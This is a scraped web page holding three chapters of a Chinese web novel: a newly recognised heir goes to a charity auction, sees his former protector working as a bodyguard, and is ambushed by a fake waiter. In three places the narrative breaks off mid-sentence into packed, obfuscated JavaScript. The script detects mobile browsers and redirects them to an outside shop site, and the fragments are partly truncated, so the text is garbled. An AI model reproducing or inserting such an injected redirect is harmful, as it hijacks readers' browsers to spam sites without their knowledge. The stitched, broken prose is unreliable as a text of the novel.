铅灰色的复古细条纹衬衫和颜色更浅的修身马甲,都是成衣拿过来配合白容生的身体改的。改过后许静勉强满意,认为这样才能算合身。 时间太紧,定做的衣服出不来,只好这样安排。白容生像个橱窗里的展示人偶,被换了几套衣服,终于搭配出过关的一套。 不是很严肃的晚宴,再加上他年龄小、身份模糊,因此穿得不是太正式。恰好也是这样的场合,白家还未真正宣布白容生的回归,很适合带白容生出席。 “别皱眉啊,这样就不帅了,虽然忧郁感小帅哥也很好啦,但不搭你这身呢……”店员絮絮叨叨地说着,拿过香水,眼疾手快地给白容生喷了两下。 他专业能力很强,不过说话的腔调和动作细节总让白容生觉得奇怪,因此并不喜欢这位店员。 许静在旁边调整发型,她穿着颜色淡雅的长裙,洁白的肩颈经过修饰看不出几条细纹,再披上一条轻纱的披肩,走过来挽住白容生的手臂,满意地一同看着镜子。 白家或许不是江市最显贵的人家,但绝对是最俊秀的一家,哪怕是私生子都没有丑陋的。他们家的草包都是绣花草包。 白容生对于所有人的美丑都没有太大感觉,他不是那种关注外貌的人,不如说在北城区长得太好看反而会惹来麻烦。现在他宁愿自己长相一般,也不想被作为白家的一分子而欣赏。 奇怪……明明白家象征的是他梦寐以求的权势富贵,他却打心里感到抗拒和反感。 “今晚你祖父也会一同出席,和他表现得亲近点。”许静拍了拍白容生的手背,安抚道,“亲爷孙,能有什么深仇大恨?老头就是嘴有点硬,他心里是很爱你的。” 白容生不置可否,对她只礼貌地微笑。 “而且晚上会有媒体拍照,你可是白家的孩子,不要怯场。”许静继续说,“放心吧,我们不能让你没名没份回来,不过总得先有点铺垫。” 意思是他们早晚会公开认回白容生,当下不公开只是还不到火候。 对她的话,白容生并未完全放在心上。那些许静念叨的繁文缛节,在白容生眼里,和身上的香水一样多余。 他鼻尖被香水味刺得发痒,抬手揉了揉。 “对了,”白容生停了停,在许静期盼的目光里叫出她很想听的那个称呼,“奶奶,既然你们也知道我哥,那么能不能让他陪在我身边呢?” 他还是太年轻,知道能和崔盛见面,到底还是憋不住问了出来。 许静笑起来:“想让他陪你啊,当然可以,这是他应该做的。不过你要记住,你唯一正经的哥,是你大哥白允,他可不算你什么哥。” 白容生神情一敛,许静面上仍是温和的笑容,爱怜地摸着他的头发,“恩人是恩人,亲人是亲人,这你要分得开。对不对?” ——当然对,崔盛就是他的亲人。 白容生明智地没有当面反驳她,轻轻点头。 * 轿车平滑地停下,司机躬腰打开车门,牵着许静的手下车。 白家主母一露面,顿时围上不少早就等候的人问好,个个笑脸相迎,殷勤备至。 可是被众人围住的许静却没有像往日那样好脾气地一一回应,而是做了个手势,转身亲自扶着车门,温柔地唤:“容生,别害羞,下车。” 白容生就这样被迫成为目光焦点,下车后抬头露出脸,周围便是一静。 这些来和许静问好的大多是各家太太,有些带着自家女儿,是看中未婚的白家长孙。不论如何,不少人是知道白立才的,现在看见白容生模样,再结合最近的传言,哪还有猜不到的? “家里小辈,之前没怎么出门,今天带出来见见世面。”许静轻描淡写道,挽住白容生的手臂,“你们可要照顾他一点,孩子还在上高中呢。” 好不容易捱过一圈香氛弥漫的社交,白容生已经开始头痛。他和许静共同步入喷泉后堪称辉煌的大厅,负责指引的礼宾员连忙迎上,躬身带他们进入拍卖会场。 会场并不算很宽敞,分为两层,第二层是更加私密舒适的包厢,只有拿到贵宾邀请函的客人才有资格进入。 白家自然是其中之一,许静却不急着上去。正式开始前,这段时间大多数人更喜欢在一层随意地聊天。 白容生被许静挽着,根本记不住人脸和人名,只是机械地握手和问好。明里暗里许多探究的目光落在他身上,可面对面时,谁的态度都是友好的,没人会当面让他难堪。 终于在一个间隙,许静放手让白容生自己去逛,她则言笑晏晏地主动向几位正聊天的贵妇人走去。 白容生松了口气。明明冷气很足,他还是出了一后背汗。 陡然进入这种“上流场合”,他到底难免紧张。尤其那么多视线注视着他,含着探究、好奇和些许轻蔑,白容生不是傻子,神经始终紧绷。 他走到人少的一张桌子旁,摆手拒绝侍者的服务,独自倒了杯苏打水,夹起冰块和柠檬片扔进去。 似乎不大讲究,侍者欲言又止,白容生当没看见,端着杯子离开了。 在这个空当,他终于有种得到喘息的松快。喝完半杯水,白容生也冷静了,目光四处扫着,他在找崔盛。 来之前他给崔盛发过短信,却如石沉大海,没有回复。他不清楚崔盛最近在做什么,怕打扰到他,就没追问。 不过许静都说崔盛今天会来,那么应该不会错。 白容生想见他,不是过年时雪地里匆匆一面,而是坦荡的、正大光明的见面。尤其是在面对完这一家他血缘上的亲人后,那种想要见崔盛的欲\望越发强烈起来。 他没有愚蠢到期盼白家人的温情和关爱,但人可能总是矛盾的,白容生甚至没从他亲妈那里得到过什么母爱,却还是抱有那么微妙的一丝希望,以为白家人或许会有不同。 事实证明,完全没有。他那点微末的期待显得有点可笑。 或许只有许静对他怀有几分温情,可白容生作为当事人很清楚,这是因为他是白立才的儿子,而且长得很像年轻的白立才。 不是因为他是许静的孙子。 不过何必奢求那么多呢? 白容生静静想,能够借由死去的白立才获得好处,已经很幸运了。他天生没有少爷命,就别做那么大的梦。 苏打水喝完了,白容生随手放在路过侍者的托盘里。这里氛围太上流,他想出门去透透气。 正在这时,他听见有人叫道:“丁老板!” 下意识的,白容生转头看去,进来的男人身材矮胖,笑着远远对几位朋友拱手,望着十分亲切。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316128|196795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 白容生早就不记得那个丁老板具体什么样,看着勉强有点眼熟。他迅速掠过,重点盯着丁老板身后,很快就发现了崔盛。 崔盛变了很多,和过年时候又不一样了。他鬓角修理得整齐,高而端正的个子撑起西装,五官线条更加成熟深刻,半垂着眼看向地面。 白容生立刻向那边走去。 他抬脚的时候,崔盛也抬起眼,漠然冷淡的目光在整个会场一扫而过,没有在白容生身上停留。 白容生心中奇怪,他敢肯定崔盛看见他了,可是却没有表示。 他本来快速走了几步,忽然间又犹豫了。可丁晓东已然看见他,顿时露出夸张的笑容,张开手主动走近,握住白容生的手。 “白家的小公子,对吧?哎呀,你说白家人永远都这么好认,我老远一看就能认出来,要是我小孩都能长这样就好了。” 丁晓东全然一派亲切和蔼的长辈样子,唯有离得近了,白容生看清他被低垂眼皮盖住的眼缝里,打量的目光格外锐利。 这份打量一触即收,白容生的手被握着上下晃了晃。他心不在焉地敷衍丁晓东的寒暄,又往他身后看。 碍于场合,丁晓东只带了两个保镖,伪装成他的助理。此刻崔盛站在离他略远的位置,左耳戴着黑色的交流耳麦,规矩且警惕地半垂视线。 他不好多看,很快收回目光,却还是被丁晓东注意到了。 丁晓东当初在鎏金里并没看见白容生,不清楚他和崔盛的关系,热情地笑道:“白小公子,对我的助理有兴趣?小崔,离那么远干什么?来,上前来。” 慢慢的,崔盛走上前。他比几人都高,因此为表尊敬,低着头说:“老板。” 白容生看着他,过了两秒,崔盛转向他,依旧平静地说:“白小公子。” 他的姿态,以及丁晓东戏谑的态度,忽然间使白容生后知后觉,在这个场合,他是贵宾。纵使崔盛不看他,他作为贵宾,只需要动动嘴就能给崔盛这个“不懂事的助理”一点教训,或者找点乐子。 大概丁晓东以为他要这样,所以就把崔盛叫过来了。 白容生又盯了眼崔盛的脸,他笑道:“没什么,只是看着他戴的这个,”他指了指耳朵,“有点好奇,所以多看了两眼。” 丁晓东挥挥手,崔盛再度退回他原本的位置。 流落在外的私生子,一朝被找到,头回出席这种场合,哪怕有那张脸带来的天生气质撑着,骨子里到底不是从小锦衣玉食养大的少爷,一股小家子气很容易就露出来。 连这种保镖配备的耳麦都要多看两眼。 丁晓东笑容不变,拍了拍白容生的肩膀,“不算什么稀罕玩意,他们戴这个交流方便。叔——我比你长一辈,就厚着脸皮让你叫我一声叔了——你叔我当年也是在这里,第一次见到你父亲。哎呀,这时间过得真快……” 他还没唏嘘完,那头许静遥遥招手。丁晓东只得放手,还对白容生说:“要是在你祖母身边呆得闷,随时来你叔的包间玩。” 白容生只点头答应,回到许静身边。 许静微凉的手挽住他,和他一起前往二楼,低声说:“怎么不跟你那个哥哥说话?” 白容生没说话。 她笑道:“他到底比你大几岁,懂事一点。如果他刚刚当着这么多人的面跟你亲密叙旧,你奶奶只能做个坏人,把他扔出去了。” 白容生看着脚下厚重的深红地毯,头回觉得苏打水也有点反胃。 55.第 55 章 所谓慈善拍卖,东西不重要,愿意出的价才重要。许静对白容生简单讲过规则后,推过盛着今晚物品清单的盘子,让白容生自己看。 “有什么喜欢的,用笔勾一下,我给你买,别在乎价钱。今晚这个拍卖会不大,价格也不会多高的。” 白丛山根本没空在这个晚会浪费时间,他只会在最后关头露面做个总结演讲。是以不到最后,白容生也见不着他。 大部分名字白容生都不太了解,他随意勾了几个,推还回去,许静看完笑起来:“这样有些太寒酸了。”说着,她又划下几样,搁在旁边。 底下会场,穿着青色旗袍的拍卖师已经笑容满面地开始介绍物品。上方的大屏幕清晰地展示细节,白容生看了几眼移开目光。 许静显然也不在意拍卖的具体过程,她倚靠在柔软的扶手上,拿起一本薄薄的册子递给白容生。 是今晚参加这个拍卖会的宾客名单。 白容生翻看这份陌生的名单时,许静说:“今天这些人,只有一家你需要认识。” “谁?” 许静抬手按住上面印着的一行名字:“林轩,以及他的孩子林善水。等会我带你去和人家打声招呼,林善水比你大不少,记得叫哥。” 白容生盯着底下另一行字多看了几秒,点点头。许静仿佛看穿他的心思,冷不丁道:“还想跟蒋家的人打个招呼?” 白容生脸色一变,许静反而安抚地对他笑了笑,“别紧张。你跟蒋家那个小子有点矛盾,是吧?我记得,新天帮你处理这件事的时候,引起了我的注意,之后我才发现你的存在……他们不算什么,不过这样看,我还得带你去上门道谢呢。” 她合拢名单,拍下几件东西后,就牵着白容生起身走出包厢。 林家人就在旁边,开门的是位二十多岁的青年,气质成熟,风度翩翩。他跟许静很熟悉的样子,两人见面先拥抱一下,青年作风还很西式地低头在许静两颊各亲了亲。 “这是你善水哥。”许静说,“来,认认人。” 白容生从她身后走出。 两人对视,林善水细看了白容生一眼,对他同样态度温和周到,主动握住他的手:“白容生,是吗?我应该早点上门拜访的,可惜这两天太忙了,拖到今天才见面。” 他身后一个中年男人声音传出:“我早催着这小子过去,他天天也不知道哪来那么多事,三推四阻,现在还要静姨你亲自带着孩子来,太不好意思了。” 林轩不像商人,更像位大学教授,气质儒雅。他歉意表示没准备什么见面礼,只好先拍下几件东西送去白府。 许静和林轩有得聊,白容生和林善水作为晚辈,只得坐一起。 林善水年长,主动找话题,询问白容生的情况。 不知道是他确实有涵养,还是太会伪装,聊天态度很平等,没有那些人藏都藏不住的高傲感。即使他问的有些多,白容生也没感觉到冒犯,和他聊下去竟然还有几分愉快。 “C市我去过,”林善水笑着说,“前两年我写硕士毕业论文,去C市做田野调查,在那住了两个多月。确实是一座很特殊的城市……这些年生活很辛苦吧?” 白容生诧异地看他一眼,似乎没想到这样的少爷竟然能在C市生活几个月。 “怎么了,很惊讶吗?”林善水说出几个C市的地点,“这些地方我都去过,连那个北城区都去过,在那里丢了一只钱包和两个手机,报警时还被警察骂了。不得不说,都是很新奇的体验。” 白容生这下信了,他说:“那边小偷很多,尤其你是新面孔,被偷很正常。一般来说,除非必要,外来人最好还是别去那里。” 两人这倒是找到了共同话题。 白容生很快发现,林善水应该是在主动迁就他,谈话绝对不会让他跟不上。并且他能够感觉出来,林善水不是那种徒有其表的草包,大概是因为他是位货真价实的硕士。 一直坐在这里无聊,林善水起身带白容生出去逛逛。临走前,林轩将林善水叫过去,和他低声说了几句。 林善水表情不变,笑着点点头,直起身解开衬衫领口,走出门,自来熟地屈起手臂,搭在白容生肩膀。 “这个拍卖场不大,不过历史很悠久,将近一百年了……” 他体贴地像个尽职的导游,带着白容生一路走过。毕竟今晚的拍卖会重点不在拍卖而在社交,即使是有独立包厢的二楼,大部分人都选择出门交际聊天。 因此一路走来,能够遇见江市上流圈子内的不少人。林善水都很熟识的样子,如鱼得水地带着白容生一个个打过招呼。 这是林善水接到的任务,领着白容生这个初来乍到的陌生人熟悉社交圈子内的状况。同时,他作为白家交好的林家独子,身份已经给白容生定了一个基调—— 尽管是比一般私生子还要不光鲜的孩子,但白家不仅愿意认,还会把他当作真正的亲子孙对待,白容生将会体面、正式地逐步进入这个社交圈。 绝大部人都不意外,只是心里难免感慨,许静对白立才的溺爱真是无以复加,白容生也是借了这个不着调父亲的光。 走到尽头,林善水要去洗手间,白容生便留在外面等他。 他靠着样式古典的窗户,模糊的玻璃看不清外面的景象,只能融融透出点外面的灯光。 白容生紧绷一晚上的神经在这个光线昏暗的角落里难得放松一点,他无意识捏着手指,借着密封的窗户喘一口气。 和北城区那些喝着酒说着话,突然就翻脸掀桌掏枪又骂又打的混混不同,他骤然进入的这个上流圈子,看着人人都体面优雅,彬彬有礼。恶意得裹在傲慢和笑容里,不露声色地递出来。 周围的一切那么陌生,这是他梦想进入的世界吗?这不是他梦想进入的世界吗? 刚刚瞥见的拍卖师举牌,每一张牌子上的金额仿佛只是个数字,白容生看着心惊,在场的其他人却熟视无睹,谈笑着就把数不清的钱挥洒出去。 白容生心里甚至不成熟地生出两分怨怼:难道曾经的他不算是该被做慈善的对象吗?这些钱在他需要的时候不出现,现在反倒要他成为“做慈善”的一员了。 他止住乱糟糟的思绪,同时很想念崔盛。 凭什么他连在大庭广众下和崔盛交谈的机会都没有? 白容生深吸口气,决定也去洗手间洗一把脸。 洗手间宽敞奢华,弥漫着香氛的淡雅清香。白容生毫不怜惜造型师给他细心做出的发型,用两捧冷水洗完脸,顺手将额前的湿发捋到一边。 他抽纸巾的时候,听见模糊的对话由远及近: “你遇见白家那个新来的没有?” “还没见过,听说了,那种出身啊。怎么样,长得应该比白允好看吧?” “哈哈,说的什么话……长得确实很正统白家人,你一看就知道了。想不到还挺受宠的,连林善水都拉过来给他长脸。” 纸巾擦完脸,团成一团扔进垃圾桶。白容生对自己被背后讨论早有预料,他想着避开尴尬的局面比较好,转身就要走。 “我说——哎?善水哥!” 夹杂着微妙恶意的声音瞬间变了,“我们私下说着玩呢,就是有点好奇。” 白容生躲避不及,和里面走出的三人迎面撞上。林善水走在最前面,脸上神态依旧是轻松温和的,看不出心里所想。 另外两个大约没料到转眼就看见被议论的正主,多少有些拉不下脸,冲白容生敷衍地笑笑。 “好奇什么的就算了,以后总有机会相处的。”林善水不轻不重地说了句,看着那两人匆匆离开。 “别介意他们的话,闲着无聊说两句罢了,过几天有别的新鲜事就会忘掉。”林善水以为白容生心里不舒服,宽慰他,“你还没成年吧?我去给你调杯气泡水。” 白容生确实没放在心上,摇头拒绝。林善水和他并肩走着,转移话题:“对了,你现在高三,明年高考?想好去哪个学校没?” “江城大学。” “我猜也是,这样你读书也方便,免得去外地,人生地不熟。我在江大读了六年,选专业的问题都可以来问我,随时提供服务。” 白容生道谢,林善水笑着让他别见外。两人一同走到一楼吧台后,伴着拍卖师报价的背景音,林善水给他调了杯底部冰蓝、上部浅黄的渐变色饮料。 “一点点的酒精,”他比了个手势,“适合小孩子偷喝。” 白容生谨慎地尝了一口,柠檬的酸甜里掺着点微咸的海盐味道。他还没喝第二口,目光忽然一定。 他看见了熟人。 阔别已久的蒋兴康穿着正装,成熟地举杯,和几名年纪差不多的人谈笑着。他来到江市后,大概已经逐步摆脱了之前的阴影,带着些许傲气。 不论过程只看结果的话,蒋翰在C市还是做出了成绩的。他迅速处理掉贾大海,连带着收拾了一串扯出来的混混,是蒋家倾注希望的未来之星。 蒋兴康来到江市后,愈加了解自己的表哥前途无量,心中更加兴奋,早早把高考目标改为江城大学的法律系。他只有一个谜团,那就是暑假里跟踪、侮辱他的人,至今没有找到。 明明查出来给他用的药来自鎏金会所,可线索就断在了那里。 更准确来说,不是查不出,是有人不让他查。即使蒋兴康在家撒泼打滚,从他父母到他表哥,都不松口。 他实在想不通,自己得罪了什么人,要招致这样的报复。 今晚的拍卖会是蒋兴康首次独自出来社交,蒋翰留在楼上,似乎有工作上的事要谈。 蒋兴康在江市有意结交圈子里的同龄人,如今初见成效。幸好之前那些照片主要流通在C市认识他的人中间,江市这边没几个人知道,否则他真的恨不得去投湖。 手里的饮料过于甜腻,几个将将成年的人一合计,准备去吧台调点酒喝。他们说笑着转身,蒋兴康却忽然停住,表情变得像见鬼一样。 “怎么了?” 蒋兴康罕见忽略了同伴的问话,不可置信地看向那里,随即失态地大步冲过去。 “喂,你——” 他伸手就要去抓背对他的白容生的肩膀,被敏捷地避开。林善水反应很快地抬手,把白容生挡在身后,微微皱眉看向他。 蒋兴康喘着气,瞪了白容生几秒,总算确认他就是本人:“白容生?” 白容生看他一眼,“是我。” “你、你怎么?”蒋兴康反复打量他今晚的穿着打扮,完全没搞懂。他疑惑地盯着白容生好一会,才发现他身边的人是谁。 林善水怎么跟白容生在一起,两人举止还这么亲近? 蒋兴康心里惊讶莫名,勉强收拾好情绪和林善水问好,后知后觉想起最近的传言。 “啊,你是……你是白家的那个孩子。”他喃喃说,“原来是你,真是没想到——” 他的五官古怪地抽动了一下,偏偏又想尽力摆出礼貌的笑容,最终达不到那种效果,放弃了。 林善水适时插话:“你们认识?” “之前在C市是同学。”白容生简单解释,不想和蒋兴康多说,“我有点饿,去那边吃点东西。” 他轻巧地离开人群,林善水被几个认识的人叫住,暂且没跟上来。 长桌上摆满样式繁多的餐点,白容生拿起盘子,随意捡了几样填肚子。他端着盘子想找个人少的角落坐下进食,结果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17324938|196795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猝不及防,被人从背后结结实实撞了一下。 哗! 盘子连带食物全掉在地上,白容生也被撞得向前一个踉跄,伸手扶住桌子才稳住身体。他回头,看见身后是一个端着酒的侍者。 当然,现在那几杯酒也全都翻倒在地。 “对不起、对不起!实在抱歉!”年轻人像快哭了似的,沮丧地鞠躬道歉,“我刚刚走神没注意前面,您没受伤吧?” 白容生主要是被吓了一跳,摆手示意没事。他背后有点湿,侍者急忙从口袋里掏出叠好的毛巾,给他擦着:“酒也泼上来了,真是抱歉!” 说着说着,这年轻人的声音都有点抖。酒液颜色重,这衣服显然不可能再穿,就是不知道这一身得多少钱。 白容生脱下马甲,衣服轻薄,很快就被酒水浸透了。他本能得心疼钱,不过也不打算为难这个服务生,就说:“没关系,你也不是故意的。” 遇到好说话的客人,侍者松了口气:“您跟我去更衣室吧,这里面空调很低,我给您先拿件外套穿上。” 白容生想着来回不过几分钟,也懒得再过去和林善水说。他随意拿着已经脏了的马甲,和侍者一同离开大厅,转去侧后方的员工更衣室。 离开后面再装修过的大厅,黑夜里半明半暗的建筑物轮廓庄严典雅,能够看出历史的沉淀。白容生没理会侍者的连声道歉,他忽然停住脚步。 “更衣室在这边吗?”他语气柔和,仿佛只是随口一问。 侍者紧跟着停下脚步,诧异道:“当然,毕竟是我们的工作场所,离得远是正常的。” 白容生向远处望了望,又对他一笑,看着是十分的天真和不设防。紧接着下一秒,他转身就跑。 他从小到大的生活环境里充满了小偷、绑匪、抢劫犯这些货色,侍者的演技虽然高明,可惜露馅太早。白容生只后悔他放松警惕,在陌生的地方就随便跟着陌生人出来了。 这反应太迅速,侍者都愣了好一下,随后勃然变色。 他不好出声大喊,只能默默紧追在后面。白容生见他竟然还敢追,目标明确地直奔大厅而去。 只是他今晚为了搭配这身衣服,还穿了双带跟的小皮鞋,根本跑不快。 白容生没跑几步就被地砖绊了一下,顿时感觉不好。他还没站稳,身后传来一股大力,抓着他一扯。 他头都没回,抬起手肘往后撞,把侍者顶出一声低骂。 下一刻白容生肩膀传来剧痛,这人手法意外专业,拧着他的手臂,几下卸了白容生的力气,冷笑:“跑得还挺快。” 白容生不出声,他故意加了两分力,“不痛吗?少爷嘴还挺硬。别乱叫,跟我过来,不会要你的命。” 侍者推着白容生向更衣室走,这次不敢大意,死死抓着他。 白容生忍着痛,飞快地思索究竟是谁要对付他。然而想了半天没有头绪,他在江市无亲无故,白家人都没认全,谁看他不顺眼? “我说你……”他一转态度,试图和侍者搭话。结果没说几个字,就感觉手要断了,不得不闭嘴,免得丢脸地叫出声。 “不要和我说废话,白先生,否则我可不管你的手断不断了。” 白容生咬牙。他不得不在侍者的操纵下前进,两人避开监控区域,越发向黑暗里走去。 不能这样跟着他走。 白容生正想着怎样找机会挣脱,前方更衣室的门突然打开。 侍者似乎也没想到,警惕地停住,空出一只手娴熟地卡住白容生的喉咙,带着他躲进黑暗的阴影里。 白容生试探后确定他比不过这人,聪明地选择先不出声。 更衣室内的灯光勾勒出推门人的身形轮廓,高瘦挺拔。他好像是在这里休息,扶着门出了口气,却不知怎的,忽然转头看向黑暗里。 竟然是崔盛! 白容生没看见脸,可凭借一个身影莫名认了出来。他喉结因为不安略微动了动,脸旁边是灌木的枝叶,刺着他的皮肤。 身后侍者也很紧张,嘟哝一句“这人怎么不走?”,哪料到那人不仅不走,还快步向他这边走了过来。 “谁在那里?”崔盛声音低沉地问,伴随着一声清脆的手枪上膛声,“出来。” 侍者在白容生耳后骂了句,见机不妙,他直接放开白容生,把他向前一推,转身就跑。 白容生双臂都没了知觉,骤然被他一推,没维持好平衡,狼狈地摔倒。他感觉肩膀的关节像错位一样,想起身都动不了。 这样也太…… 他身体一轻,被人从地上捞了起来。 “你怎么在这里?”崔盛不可思议,再三确认是白容生,手臂搂着他,让他靠在怀里,“怎么回事?” 白光亮起,崔盛拧开随身的小手电,脸上表情瞬间从惊讶变得阴沉。 “刚刚还有人,是谁?谁把你这样的?”他有点急迫地追问,不顾白容生抗拒地扭头躲避,强行转过来看他的脸,“该死……太黑了看不清,我以为只有你。” 他完全没了先前在大厅时对白容生的冷漠作态,捧起白容生的脸看他脸上被树枝划出来的伤口,用拇指抹掉流出来的血珠。 白容生从手指到手臂还因为疼痛控制不住地轻微发抖,崔盛低声让他别躲别怕痛,迅速地摸了一遍他的肩膀和手腕,发现骨头应该没断,这才松了口气。 “不知道是谁。”直到这时,白容生才说,“我也不认识。” “先不管这个。”崔盛把他抱起来,“回去找医生来看看。” 白容生却说:“放我下来。腿没伤,我自己能走。” 崔盛已经把他抱了起来,低头在微弱的光线里找到白容生冰冷的眼睛。 56.第 56 章 就跟没听见白容生说话一样,崔盛只看他一眼,随即抱紧他,大步向会厅那边走。 他装聋作哑,白容生也气得不愿意说话。两人在沉默中抵达大厅外,崔盛没有直接带他进去,而是弯腰把白容生放在外面的长椅上。 白容生肩膀一沉,崔盛将外套盖在他身上,又弯腰搂了他一把,这才匆匆转身离开。 没几分钟,崔盛带着医生回来。医生心惊肉跳的,先给白容生一个大概的检查,发现没大问题后松了口气。 脸上伤口需要消毒,白容生被捏着下巴,拧过脸,眼睛自下而上看着崔盛。 崔盛一手抓着他身后的椅背,成一个半护住他的姿势。他察觉到了白容生的注视,低头看了看他,默不作声地又移开目光,仔细地看着医生给伤口消毒。 血已经止住了,也是白容生运气不好,脸上这道伤口长而深,正在眼下。所幸没伤到眼,就是没痊愈之前,估计不会很好看。 他本人并不太在乎脸上的伤,皱眉动了动手指,扯动肩膀又是一阵剧痛。 崔盛忽然轻轻按住他的手腕:“别乱动,动起来更疼。” 医生让崔盛帮忙打灯,解开衬衫的领口看白容生肩膀:“对喽,先别乱动,很疼吗?我看还是得去拍个片。” 他说着,问崔盛,“你是他家里人吧?赶紧送去医院,万一骨头有事就麻烦了。” 崔盛:“我……” 他只来得及说一个字,就被打断了。 “白容生!” 林善水差不多是小跑过来的,脸色不怎么好看,皱眉拨开医生问:“怎么回事?” 这件事三言两语说不清楚,白容生摇摇头。林善水意识到估计是不方便和他说,“既然受伤,你就在这里别乱动。我去和三奶奶说一声。” 林家和许静家里有点沾亲带故的关系,虽说血缘淡薄,但这两代人关系走动得很频繁,因此称得上亲近。林善水和白容生一辈,对白丛山和许静,都是一样以爷爷奶奶称呼。 林善水没注意看崔盛,只根据他的衣服推断出他大概是谁带来的保镖,吩咐一句“你多照顾他一下”,转身离开。 白容生让医生也离开,一时间这里只剩下他和崔盛。 他心里有种难言的疲惫,不想说话。而崔盛再次俯身仔细看白容生脸上和身上的伤口,顺手把外套拢了拢:“知道谁要害你吗?” 白容生不出声地摇头。 崔盛站在他旁边,也跟着沉默一会,说:“幸好今晚我在那边,要是没看见你,后面真不知道会怎么样。” 白容生冷淡回复:“确实是该感谢你,毕竟你不是我的保镖,还愿意伸出援手。” 崔盛呼吸一顿,再说话时,带了点他们两人都熟悉的那种求和里带着点求饶的语气:“我只能……我不是想要那样对你的。” 过了两秒,白容生忽然往前一靠,脸也埋在崔盛身上。 隔着薄薄的衬衫,他们两人都能准确感受到彼此的体温。 崔盛下意识伸出手抱住他,白容生说:“我明白,我就是……就是有些不能理解,事情竟然会变成这样,谁能想得到呢?” 这种茫然和困惑,除了崔盛,他无人可讲。但是明明他们的生活和之前比堪称天上地下,现在想和崔盛有一个拥抱,都像是偷来的。 没头没尾的,白容生又说:“我不想在这里高考,我还是想回去,把高三读完再说。” 崔盛:“你想去哪里就去,他们还能不让你回去吗?” 白容生怕的是,许静见他受伤,更不愿意放他回去。 这些话来不及说,随着一声惊呼,许静由林善水扶着,惊慌地快步赶来。 崔盛的手指最后在白容生发梢停留片刻,带着点留恋,说道:“我走了。” 白容生仓促留下一句“你要保重”,崔盛已经赶在许静他们接近前,转身离开。 “怎么会这样啊?”许静首当其冲看见的是白容生脸上的伤口,她捧起白容生的脸,心疼地抱怨,“谁把你伤成这样的?该死,这里的安保是废物吗,天呐……还有哪里受伤?” 林轩和林善水一同围上来安慰,后面跟着满头大汗的几位拍卖会工作人员,外围再加上几位听见出事,跟着想在白家前露露脸的人—— 众人七嘴八舌,吵吵嚷嚷。白容生本来缓过来了,被这样一围一吵,许静还摸着他的脸掉眼泪,顿时觉得太阳穴要炸,没事都能被搞出来事。 林善水心细,发现他脸色不对,忙劝慰着许静让开,回头催促司机赶紧开车,把白容生送去医院。 许静走不开身,白丛山上台致辞时她必须也在。林善水主动提出陪白容生一起,恰好最近的那家医院是林家产业,有林公子出马,白容生必定能得到最好的照顾。 坐进车里,白容生耳边终于安静。他靠在椅背上,额角犹在隐隐作痛。 林善水想他年纪还小,遇到这种事必定害怕,安慰道:“别太担心,人没事就好。这件事肯定要追查到底,一定会给你一个结果的。” 白容生对他笑了笑。林善水让司机打开音乐,放起舒缓的钢琴曲。 到了林善水自家的医院,果然处处都给了白容生最好的待遇。从医生诊断到拍片,没有半点耽搁。 林善水和许静打完电话后,安排白容生先住在医院,等结果出来再说。 配备设施最好的单人病房,环境比白容生的卧室好多了。林善水和护士离开后,白容生躺在柔软的床上,看着天花板,毫无睡意。 窗外的树影投在洁白的天花板上,随风晃动。白容生眯起眼,忽然想到白新天曾经和他说过的那些话。 “继承权”、“股份”…… 他挨个排除在江市有交集的人,很快得出结论,只有白家的人和他牵扯最多。 假如真的像白新天说的那样,他也是白家合法的继承人之一,那么突然多出一个人,必然要分一杯羹。 所以,自觉利益受到威胁的人,便想办法除掉他这个半路杀出的障碍? 半夜时候检查结果出来,值夜班的医生进来给他处理伤处。白容生睡得很浅,稍微有点动静就醒了,困倦地忍着痛,被医生敷药。 他足足住了三天的院,期间林善水仁至义尽,还带着人来看望一次,包括白家几个白容生根本没记住名字的所谓“兄弟姐妹”,另外捎上几个江市同圈的年轻人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17329817|196795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这群人主要是来走个过场,拍张看上去和和睦睦的合照用于交差,前后坐不到五分钟就四散离去。 倒是正合白容生意,应付这些人他比考试还累。 不过他们来还有一个好处,这群花钱大手大脚的二世祖们提了成堆的礼品充当慰问。白容生进行检查和分类后,托负责他这个病房的护士,分成两份帮忙寄出。 一份寄给冯少平,一份寄给房东。 绝大部分送的东西白容生用不到,那群人送礼也不上心,连中老年补钙奶粉都有。扔了白容生心疼,寄给房东和老师估计正好能用到。 同时白容生敏锐地察觉出,几个白家人面对他时目光躲闪,看上去欲言又止,只是不知道为什么,又不能对他明说。 这些怀疑在白容生出院后得到了证实。 许静在他进门时,首先给他一个拥抱,眼含泪水地抚摸他的脸。 她的手还是那么柔软芳香,摸也不敢摸伤口,只在边缘虚虚碰了碰。 白家的管家还在旁边解释,声明夫人并不是不关心,只是身体虚弱,通常不去医院,只好在家里挂念白容生。 